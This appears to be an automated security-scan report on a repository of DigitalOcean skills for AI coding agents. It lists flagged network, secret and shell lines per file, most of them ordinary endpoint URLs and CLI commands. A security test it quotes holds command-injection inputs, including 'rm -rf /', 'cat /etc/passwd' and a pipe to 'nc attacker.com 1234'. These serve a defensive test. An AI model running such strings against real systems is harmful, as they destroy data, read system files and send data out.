echo -e "${RED}Error: gh CLI is not installed${NC}" echo "Install with: brew install gh (macOS) or see https://cli.github.com" exit 1 - Network accessline 150
echo "Install with: brew install gh (macOS) or see https://cli.github.com"
skills/postgres/templates/migrations/alembic.template.py
skills/postgres/templates/orm/drizzle.template.ts
skills/postgres/templates/orm/prisma.template.prisma
- Access to secretsline 53
[Credential-related source omitted]
skills/postgres/templates/orm/sqlalchemy.template.py
skills/sandbox/reference/service-mode.md
- Network accessline 93
port_info = sandbox.expose_port(3000) print(f"Preview URL: {port_info.url}") # https://sandbox-xxx.ondigitalocean.app/proxy/3000 - Network accessline 95
# https://sandbox-xxx.ondigitalocean.app/proxy/3000 - Dangerous shell operationline 182
- Streaming adds slight latency vs. buffered exec()
skills/sandbox/reference/use-cases.md
- Network accessline 240
import requests def fetch_data(url): return requests.get(url).json() - Network accessline 241
def fetch_data(url): return requests.get(url).json() """) - Network accessline 242
return requests.get(url).json() - Network accessline 245
sandbox.filesystem.write_file("/app/test_client.py", """ from client import fetch_data result = fetch_data('https://api.github.com') - Network accessline 246
from client import fetch_data result = fetch_data('https://api.github.com') assert 'current_user_url' in result - Network accessline 247
result = fetch_data('https://api.github.com')
skills/spaces/README.md
- Network accessline 19
value: myapp-uploads - key: SPACES_ENDPOINT value: https://nyc3.digitaloceanspaces.com - Network accessline 20
- key: SPACES_ENDPOINT value: https://nyc3.digitaloceanspaces.com - key: SPACES_ACCESS_KEY - Network accessline 21
value: https://nyc3.digitaloceanspaces.com - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted]
skills/spaces/SKILL.md
- Network accessline 65
# Choose region matching your App Platform app (see shared/regions.yaml) export DO_SPACES_REGION="syd1" export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com" - Network accessline 66
export DO_SPACES_REGION="syd1" export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com" export APP_NAME="myapp" - Network accessline 67
export DO_SPACES_ENDPOINT="https://${DO_SPACES_REGION}.digitaloceanspaces.com" - Access to secretsline 78
[Credential-related source omitted] - Network accessline 98
value: ${SPACES_REGION} # Your bucket's region - key: SPACES_ENDPOINT value: ${SPACES_ENDPOINT} # e.g., https://syd1.digitaloceanspaces.com - Network accessline 99
- key: SPACES_ENDPOINT value: ${SPACES_ENDPOINT} # e.g., https://syd1.digitaloceanspaces.com - key: SPACES_ACCESS_KEY - Network accessline 100
value: ${SPACES_ENDPOINT} # e.g., https://syd1.digitaloceanspaces.com - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Network accessline 119
| App Platform | Spaces | Endpoint | |--------------|--------|----------| | `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` | - Network accessline 120
|--------------|--------|----------| | `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` | | `sfo` | `sfo3` | `https://sfo3.digitaloceanspaces.com` | - Network accessline 121
| `nyc` | `nyc3` | `https://nyc3.digitaloceanspaces.com` | - Network accessline 122
| `sfo` | `sfo3` | `https://sfo3.digitaloceanspaces.com` | - Network accessline 123
| `ams` | `ams3` | `https://ams3.digitaloceanspaces.com` | - Network accessline 124
| `lon` | `lon1` | `https://lon1.digitaloceanspaces.com` | - Network accessline 125
| `fra` | `fra1` | `https://fra1.digitaloceanspaces.com` | - Network accessline 126
| `tor` | `tor1` | `https://tor1.digitaloceanspaces.com` | - Network accessline 127
| `sgp` | `sgp1` | `https://sgp1.digitaloceanspaces.com` | - Network accessline 128
| `blr` | `blr1` | `https://blr1.digitaloceanspaces.com` | - Network accessline 129
| `syd` | `syd1` | `https://syd1.digitaloceanspaces.com` | - Network accessline 130
| `atl` | `atl1` | `https://atl1.digitaloceanspaces.com` | - Network accessline 147
EP="--endpoint-url https://syd1.digitaloceanspaces.com" - Network accessline 205
| Access Denied (403) | Verify keys, check endpoint matches bucket region | | CORS error | Configure via `aws s3api put-bucket-cors` | | SignatureDoesNotMatch | Use `https://` prefix, no trailing slash | - Network accessline 207
| SignatureDoesNotMatch | Use `https://` prefix, no trailing slash |
skills/spaces/reference/access-logging.md
- Access to secretsline 32
[Credential-related source omitted] - Network accessline 34
# Endpoint export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 35
export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 201
myapp-uploads myapp-uploads [15/Jan/2024:14:30:22 +0000] 192.168.1.100 - ABC123 REST.GET.OBJECT images/photo.jpg "GET /images/photo.jpg HTTP/1.1" 200 - 1234567 1234567 50 - "https://myapp.com/" "Mozilla/5.0" - def456 ... - Network accessline 264
LOG_PREFIX="access-logs/myapp/" LOCAL_DIR="./spaces-logs" EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 266
EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Dangerous shell operationline 294
aws $EP s3 ls s3://myapp-logs/access-logs/myapp/ | awk -v cutoff="$CUTOFF" '$1 < cutoff {print $4}' | xargs -I {} aws $EP s3 rm "s3://myapp-logs/access-logs/myapp/{}" - Dangerous shell operationline 296
| xargs -I {} aws $EP s3 rm "s3://myapp-logs/access-logs/myapp/{}"
skills/spaces/reference/aws-cli-operations.md
- Network accessline 12
# Linux curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Network accessline 13
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Dangerous shell operationline 14
unzip awscliv2.zip && sudo ./aws/install - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 47
# Set as variable for convenience export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 48
export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 50
# Or create an alias alias aws-spaces='aws --endpoint-url https://nyc3.digitaloceanspaces.com' - Network accessline 51
alias aws-spaces='aws --endpoint-url https://nyc3.digitaloceanspaces.com' - Network accessline 56
| Region | Endpoint | |--------|----------| | NYC3 | `https://nyc3.digitaloceanspaces.com` | - Network accessline 57
|--------|----------| | NYC3 | `https://nyc3.digitaloceanspaces.com` | | SFO3 | `https://sfo3.digitaloceanspaces.com` | - Network accessline 58
| NYC3 | `https://nyc3.digitaloceanspaces.com` | - Network accessline 59
| SFO3 | `https://sfo3.digitaloceanspaces.com` | - Network accessline 60
| AMS3 | `https://ams3.digitaloceanspaces.com` | - Network accessline 61
| SGP1 | `https://sgp1.digitaloceanspaces.com` | - Network accessline 62
| FRA1 | `https://fra1.digitaloceanspaces.com` | - Network accessline 63
| SYD1 | `https://syd1.digitaloceanspaces.com` | - Dangerous shell operationline 90
aws $EP s3 rm s3://myapp-uploads --recursive - Dangerous shell operationline 154
aws $EP s3 rm s3://myapp-uploads/path/file.txt - Dangerous shell operationline 157
aws $EP s3 rm s3://myapp-uploads/temp/ --recursive - Dangerous shell operationline 160
aws $EP s3 rm s3://myapp-uploads/temp/ --recursive --dryrun - Network accessline 218
{ "CORSRules": [{ "AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"], - Network accessline 219
"CORSRules": [{ "AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"], "AllowedMethods": ["GET", "PUT", "POST", "DELETE"], - Network accessline 220
"AllowedOrigins": ["https://myapp.com", "https://*.ondigitalocean.app"],
skills/spaces/reference/key-management.md
- Dangerous shell operationline 25
sudo snap install doctl - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted] - Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 210
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Network accessline 244
aws --profile spaces-myapp --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls - Access to secretsline 321
[Credential-related source omitted] - Access to secretsline 322
[Credential-related source omitted]
skills/spaces/reference/sdk-configuration.md
- Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Network accessline 95
| Variable | Example | |----------|---------| | `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` | - Network accessline 96
|----------|---------| | `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` | | `SPACES_BUCKET` | `myapp-uploads` | - Network accessline 97
| `SPACES_ENDPOINT` | `https://nyc3.digitaloceanspaces.com` |
skills/spaces/reference/troubleshooting.md
- Network accessline 9
export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Access to secretsline 57
[Credential-related source omitted] - Network accessline 62
# If bucket is in nyc3, endpoint must be: export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 63
export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 99
Access to XMLHttpRequest at 'https://bucket.nyc3.digitaloceanspaces.com/...' - Network accessline 100
from origin 'https://myapp.com' has been blocked by CORS policy - Network accessline 118
{ "AllowedOrigins": [ "https://myapp.com", - Network accessline 119
"AllowedOrigins": [ "https://myapp.com", "https://*.ondigitalocean.app" - Network accessline 120
"https://myapp.com", - Network accessline 121
"https://*.ondigitalocean.app" - Network accessline 140
3. Include `https://*.ondigitalocean.app` for App Platform preview URLs - Network accessline 162
1. Ensure endpoint includes `https://`: - Network accessline 164
# Correct export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 165
export EP="--endpoint-url https://nyc3.digitaloceanspaces.com" - Network accessline 173
# Correct --endpoint-url https://nyc3.digitaloceanspaces.com - Network accessline 174
--endpoint-url https://nyc3.digitaloceanspaces.com - Network accessline 176
# Wrong - trailing slash --endpoint-url https://nyc3.digitaloceanspaces.com/ - Network accessline 177
--endpoint-url https://nyc3.digitaloceanspaces.com/ - Network accessline 182
# Compare with NTP server date curl -s http://worldtimeapi.org/api/ip | jq .datetime - Network accessline 184
curl -s http://worldtimeapi.org/api/ip | jq .datetime - Dangerous shell operationline 188
sudo ntpdate pool.ntp.org - Dangerous shell operationline 190
sudo sntp -sS pool.ntp.org - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 301
[Credential-related source omitted] - Network accessline 324
# Try different endpoints aws --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls - Network accessline 325
aws --endpoint-url https://nyc3.digitaloceanspaces.com s3 ls - Network accessline 326
aws --endpoint-url https://sfo3.digitaloceanspaces.com s3 ls - Network accessline 327
aws --endpoint-url https://ams3.digitaloceanspaces.com s3 ls - Network accessline 351
curl -I https://nyc3.digitaloceanspaces.com - Network accessline 362
nc -zv nyc3.digitaloceanspaces.com 443
skills/spaces/scripts/_lib.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 122
rm -f "${tmp_json}" - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Access to secretsline 175
[Credential-related source omitted]
skills/spaces/scripts/bootstrap_app_spaces.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 5
# Required env vars: # DO_SPACES_REGION - e.g., nyc3, sfo3, syd1 # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com - Network accessline 6
# DO_SPACES_REGION - e.g., nyc3, sfo3, syd1 # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com # APP_NAME - Application name (used for naming) - Network accessline 7
# DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com - Access to secretsline 48
[Credential-related source omitted]
skills/spaces/scripts/enable_bucket_logging.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 3
# # Required env vars: # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com - Network accessline 4
# Required env vars: # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com # SRC_BUCKET - Source bucket to enable logging on - Network accessline 5
# DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com
skills/spaces/scripts/rotate_spaces_key.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted]
skills/spaces/scripts/view_access_logs.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 3
# # Required env vars: # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com - Network accessline 4
# Required env vars: # DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com # LOG_BUCKET - Bucket containing logs - Network accessline 5
# DO_SPACES_ENDPOINT - e.g., https://nyc3.digitaloceanspaces.com
skills/troubleshooting/README.md
skills/troubleshooting/SKILL.md
skills/troubleshooting/reference/app-maintenance.md
- Network accessline 25
archive: true # Optional custom page # offline_page_url: https://example.com/maintenance.png - Network accessline 27
# offline_page_url: https://example.com/maintenance.png - Network accessline 74
# Check URL curl -I https://<app-url> - Network accessline 75
curl -I https://<app-url> - Network accessline 90
maintenance: archive: true offline_page_url: https://your-cdn.com/maintenance.png - Network accessline 92
offline_page_url: https://your-cdn.com/maintenance.png
skills/troubleshooting/reference/debug-container.md
- Network accessline 5
**Source**: [github.com/bikramkgupta/do-app-debug-container](https://github.com/bikramkgupta/do-app-debug-container) - Network accessline 128
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Network accessline 129
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 130
export SPACES_ENDPOINT="${SPACES_ENDPOINT#https://}"
skills/troubleshooting/reference/diagnostic-scripts.md
- Network accessline 29
echo "=== Health Check ===" curl -s -o /dev/null -w "%{http_code}" localhost:${PORT:-8080}/health 2>/dev/null || echo "FAILED" - Network accessline 30
curl -s -o /dev/null -w "%{http_code}" localhost:${PORT:-8080}/health 2>/dev/null || echo "FAILED" - Access to secretsline 41
[Credential-related source omitted] - Network accessline 101
def capture_baseline(app): return { "health": app.exec("curl -s localhost:8080/health").stdout, - Network accessline 102
return { "health": app.exec("curl -s localhost:8080/health").stdout, "processes": app.exec("ps aux").stdout, - Network accessline 103
"health": app.exec("curl -s localhost:8080/health").stdout,
skills/troubleshooting/reference/live-troubleshooting.md
- Network accessline 34
# Network diagnostics app.exec("netstat -tlnp 2>/dev/null || ss -tlnp") app.exec("curl -v localhost:8080/health") - Network accessline 35
app.exec("netstat -tlnp 2>/dev/null || ss -tlnp") app.exec("curl -v localhost:8080/health") app.exec("curl -I localhost:8080") - Network accessline 36
app.exec("curl -v localhost:8080/health") - Network accessline 37
app.exec("curl -I localhost:8080") - Access to secretsline 81
[Credential-related source omitted] - Network accessline 115
import time time.sleep(2) result = app.exec("curl -s localhost:8080/health") - Network accessline 116
time.sleep(2) result = app.exec("curl -s localhost:8080/health") print(f"Health: {result.stdout}") - Network accessline 117
result = app.exec("curl -s localhost:8080/health")
skills/troubleshooting/reference/logs-analysis.md
skills/troubleshooting/reference/networking-issues.md
- Network accessline 20
# From container nslookup example.com curl -I https://example.com - Network accessline 22
curl -I https://example.com - Network accessline 37
# Test preflight curl -X OPTIONS https://api.example.com/endpoint \ - Network accessline 38
curl -X OPTIONS https://api.example.com/endpoint \ - Network accessline 39
-H "Origin: https://app.example.com" \ - Network accessline 46
cors: allow_origins: - exact: https://app.example.com - Network accessline 47
allow_origins: - exact: https://app.example.com allow_methods: - Network accessline 48
- exact: https://app.example.com - Network accessline 109
# Test connectivity result = app.exec("nc -zv private-mydb-xxx.db.ondigitalocean.com 25060 2>&1") - Network accessline 110
result = app.exec("nc -zv private-mydb-xxx.db.ondigitalocean.com 25060 2>&1") - Network accessline 134
# Test internal communication result = app.exec("curl -v http://api:8080/health") - Network accessline 135
result = app.exec("curl -v http://api:8080/health")
tests/conftest.py
- Executable scriptline 1
Executable file - Access to secretsline 174
[Credential-related source omitted] - Network accessline 261
import socket try: socket.create_connection(("8.8.8.8", 53), timeout=2) - Network accessline 262
try: socket.create_connection(("8.8.8.8", 53), timeout=2) except OSError: - Network accessline 263
socket.create_connection(("8.8.8.8", 53), timeout=2)
tests/test_edge_cases/test_errors.py
- Executable scriptline 1
Executable file
tests/test_helpers.py
- Executable scriptline 1
Executable file
tests/test_migration/test_analyze_architecture.py
tests/test_migration/test_analyze_architecture_full.py
tests/test_migration/test_detect_platform.py
- Executable scriptline 1
Executable file
tests/test_migration/test_detect_platform_full.py
- Executable scriptline 1
Executable file
tests/test_migration/test_generate_app_spec.py
- Executable scriptline 1
Executable file
tests/test_migration/test_generate_app_spec_full.py
- Executable scriptline 1
Executable file
tests/test_migration/test_generate_checklist.py
tests/test_migration/test_generate_checklist_full.py
- Executable scriptline 1
Executable file - Network accessline 79
str(tmp_path), 'myapp', repo_url='https://github.com/example/repo' - Network accessline 80
'myapp', repo_url='https://github.com/example/repo' ) - Network accessline 81
repo_url='https://github.com/example/repo' - Network accessline 196
'generate_checklist.py', str(tmp_path), '--name', 'testapp', '--repo-url', 'https://github.com/example/repo' - Network accessline 197
'--name', 'testapp', '--repo-url', 'https://github.com/example/repo' ]): - Network accessline 198
'--repo-url', 'https://github.com/example/repo'
tests/test_postgres/test_add_client.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_add_client_full.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_cleanup_client.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_cleanup_client_full.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_client_scripts.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_connection_string.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_connection_string_full.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_create_schema_user.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_create_schema_user_full.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_list_schemas.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_list_schemas_full.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_secure_setup.py
- Executable scriptline 1
Executable file
tests/test_postgres/test_secure_setup_full.py
- Executable scriptline 1
Executable file
tests/test_security/test_security.py
- Executable scriptline 1
Executable file - Access to secretsline 247
[Credential-related source omitted] - Dangerous shell operationline 288
"schema; rm -rf /", - Network accessline 288
"schema; rm -rf /", "schema && cat /etc/passwd", "schema | nc attacker.com 1234", - Network accessline 289
"schema && cat /etc/passwd", "schema | nc attacker.com 1234", "$(whoami)", - Network accessline 290
"schema | nc attacker.com 1234",
tests/test_shared/test_configurations.py
- Executable scriptline 1
Executable file
tests/test_shared/test_skill_schema.py
- Executable scriptline 1
Executable file
tests/test_validation/test_documentation.py
tests/test_validation/test_schemas.py
- Executable scriptline 1
Executable file
tests/test_validation/test_validate_skills.py
- Executable scriptline 1
Executable file
tests/test_workflows/test_e2e.py
- Executable scriptline 1
Executable file
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in prose of documentationCHANGELOG.md:5Low confidence
- Network access in prose of documentationCODE_OF_CONDUCT.md:1Low confidence
- Network access in code of documentationCONTRIBUTING.md:25Low confidence
- Network access in prose of documentationCONTRIBUTING.md:141Low confidence
- Network access in prose of documentationCONTRIBUTING.md:142Low confidence
- Network access in code of documentationDocs/developer-guide.md:6Low confidence
- Network access in prose of documentationDocs/user-guide.md:143Low confidence
- Network access in prose of documentationDocs/user-guide.md:144Low confidence
- Network access in prose of documentationDocs/user-guide.md:145Low confidence
- Executable script in code of a file that runsMakefile:1High confidence
- Dangerous shell operation in code of a file that runsMakefile:60High confidence
- Dangerous shell operation in code of a file that runsMakefile:61High confidence
- Dangerous shell operation in code of a file that runsMakefile:62High confidence
- Dangerous shell operation in code of a file that runsMakefile:63High confidence
- Dangerous shell operation in code of a file that runsMakefile:64High confidence
- Dangerous shell operation in code of a file that runsMakefile:65High confidence
- Network access in code of documentationREADME.md:59Low confidence
- Network access in code of documentationREADME.md:60Low confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:414Low confidence
- Network access in prose of the SKILL.mdSKILL.md:416Low confidence
- Network access in prose of the SKILL.mdSKILL.md:416Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Path CLAUDE.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.